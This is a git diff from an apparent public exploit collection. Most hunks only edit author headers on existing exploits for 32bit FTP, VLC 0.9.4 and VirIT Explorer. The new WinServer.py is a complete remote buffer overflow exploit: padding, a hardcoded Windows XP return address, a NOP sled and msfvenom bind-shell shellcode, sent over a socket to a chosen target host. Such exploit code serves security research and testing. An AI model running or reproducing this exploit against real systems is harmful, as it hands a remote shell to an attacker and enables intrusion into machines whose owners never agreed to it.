diff --git a/32bit_FTP_v.07.08.08.py b/32bit_FTP_v.07.08.08.py index 50b3951..ddd06bb 100644 --- a/32bit_FTP_v.07.08.08.py +++ b/32bit_FTP_v.07.08.08.py @@ -1,6 +1,6 @@ """ Full title: 32bit FTP v.07.08.08 Banner Remote Buffer Overflow -Exploit Author: Paolo Stagno - voidsec@voidsec.com +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Vendor Homepage: https://www.electrasoft.com/ Version: 32bit FTP v.07.08.08 Tested on: Windows XP SP3 diff --git a/VLC_v.0.94-PoC.py b/VLC_v.0.94-PoC.py index 3cafb6a..a050c26 100644 --- a/VLC_v.0.94-PoC.py +++ b/VLC_v.0.94-PoC.py @@ -1,6 +1,6 @@ """ Full title: VideoLAN VLC Media Player 0.9.4 TIVO Local Stack Buffer Overflow PoC -Exploit Author: Paolo Stagno - voidsec@voidsec.com (Based on the original work of Guido Landi) +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com (Based on the original work of Guido Landi) Vendor Homepage: https://www.videolan.org Version: VideoLAN VLC Media Player 0.9.4 Tested on: Windows 7 diff --git a/VirIT_Explorer_v.8.1.68-LPE.c b/VirIT_Explorer_v.8.1.68-LPE.c index 341170f..9e1945c 100644 --- a/VirIT_Explorer_v.8.1.68-LPE.c +++ b/VirIT_Explorer_v.8.1.68-LPE.c @@ -1,6 +1,6 @@ /* Full title: VirIT Explorer Lite & Pro v.8.1.68 Local Privilege Escalation (System)/Arbitrary Code Execution -Exploit Author: Paolo Stagno - voidsec@voidsec.com +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Vendor Homepage: http://www.tgsoft.it Version: VirIT Explorer Lite & Pro <=v.8.1.68 Tested on: Windows 7 diff --git a/WinServer.exe b/WinServer.exe new file mode 100644 index 0000000..13c169e Binary files /dev/null and b/WinServer.exe differ diff --git a/WinServer.py b/WinServer.py new file mode 100644 index 0000000..8bf3362 --- /dev/null +++ b/WinServer.py @@ -0,0 +1,57 @@ +""" +Full title: WinServer Remote Buffer Overflow +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com +Tested on: Windows XP SP3 +Category: local exploits +Platform: windows +""" +#!/usr/bin/python + +import sys, socket + +if len(sys.argv) < 2: + print "\nUsage: " + sys.argv[0] + " \n" + sys.exit() + +junk ="A"*28 +eip="\x78\x6a\x83\x7c"#xp sp3 (en) call esp 7C836A78 +nop="\x90"*12 +#msfvenom -p windows/shell_bind_tcp -a x86 --platform Windows LPORT=4444 -f python -b "\x00" +buf = "" +buf += "\xdb\xd8\xd9\x74\x24\xf4\x5b\xbf\x9b\x9d\x8a\x07\x31" +buf += "\xc9\xb1\x53\x83\xeb\xfc\x31\x7b\x13\x03\xe0\x8e\x68" +buf += "\xf2\xea\x59\xee\xfd\x12\x9a\x8f\x74\xf7\xab\x8f\xe3" +buf += "\x7c\x9b\x3f\x67\xd0\x10\xcb\x25\xc0\xa3\xb9\xe1\xe7" +buf += "\x04\x77\xd4\xc6\x95\x24\x24\x49\x16\x37\x79\xa9\x27" +buf += "\xf8\x8c\xa8\x60\xe5\x7d\xf8\x39\x61\xd3\xec\x4e\x3f" +buf += "\xe8\x87\x1d\xd1\x68\x74\xd5\xd0\x59\x2b\x6d\x8b\x79" +buf += "\xca\xa2\xa7\x33\xd4\xa7\x82\x8a\x6f\x13\x78\x0d\xb9" +buf += "\x6d\x81\xa2\x84\x41\x70\xba\xc1\x66\x6b\xc9\x3b\x95" +buf += "\x16\xca\xf8\xe7\xcc\x5f\x1a\x4f\x86\xf8\xc6\x71\x4b" +buf += "\x9e\x8d\x7e\x20\xd4\xc9\x62\xb7\x39\x62\x9e\x3c\xbc" +buf += "\xa4\x16\x06\x9b\x60\x72\xdc\x82\x31\xde\xb3\xbb\x21" +buf += "\x81\x6c\x1e\x2a\x2c\x78\x13\x71\x39\x4d\x1e\x89\xb9" +buf += "\xd9\x29\xfa\x8b\x46\x82\x94\xa7\x0f\x0c\x63\xc7\x25" +buf += "\xe8\xfb\x36\xc6\x09\xd2\xfc\x92\x59\x4c\xd4\x9a\x31" +buf += "\x8c\xd9\x4e\xaf\x84\x7c\x21\xd2\x69\x3e\x91\x52\xc1" +buf += "\xd7\xfb\x5c\x3e\xc7\x03\xb7\x57\x60\xfe\x38\x46\x2d" +buf += "\x77\xde\x02\xdd\xd1\x48\xba\x1f\x06\x41\x5d\x5f\x6c" +buf += "\xf9\xc9\x28\x66\x3e\xf6\xa8\xac\x68\x60\x23\xa3\xac" +buf += "\x91\x34\xee\x84\xc6\xa3\x64\x45\xa5\x52\x78\x4c\x5d" +buf += "\xf6\xeb\x0b\x9d\x71\x10\x84\xca\xd6\xe6\xdd\x9e\xca" +buf += "\x51\x74\xbc\x16\x07\xbf\x04\xcd\xf4\x3e\x85\x80\x41" +buf += "\x65\x95\x5c\x49\x21\xc1\x30\x1c\xff\xbf\xf6\xf6\xb1" +buf += "\x69\xa1\xa5\x1b\xfd\x34\x86\x9b\x7b\x39\xc3\x6d\x63" +buf += "\x88\xba\x2b\x9c\x25\x2b\xbc\xe5\x5b\xcb\x43\x3c\xd8" +buf += "\xfb\x09\x1c\x49\x94\xd7\xf5\xcb\xf9\xe7\x20\x0f\x04" +buf += "\x64\xc0\xf0\xf3\x74\xa1\xf5\xb8\x32\x5a\x84\xd1\xd6" +buf += "\x5c\x3b\xd1\xf2" + +payload = junk+eip+nop+buf + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect((sys.argv[1], 1101)) +s.send(payload) +s.recv(1024) +s.close() +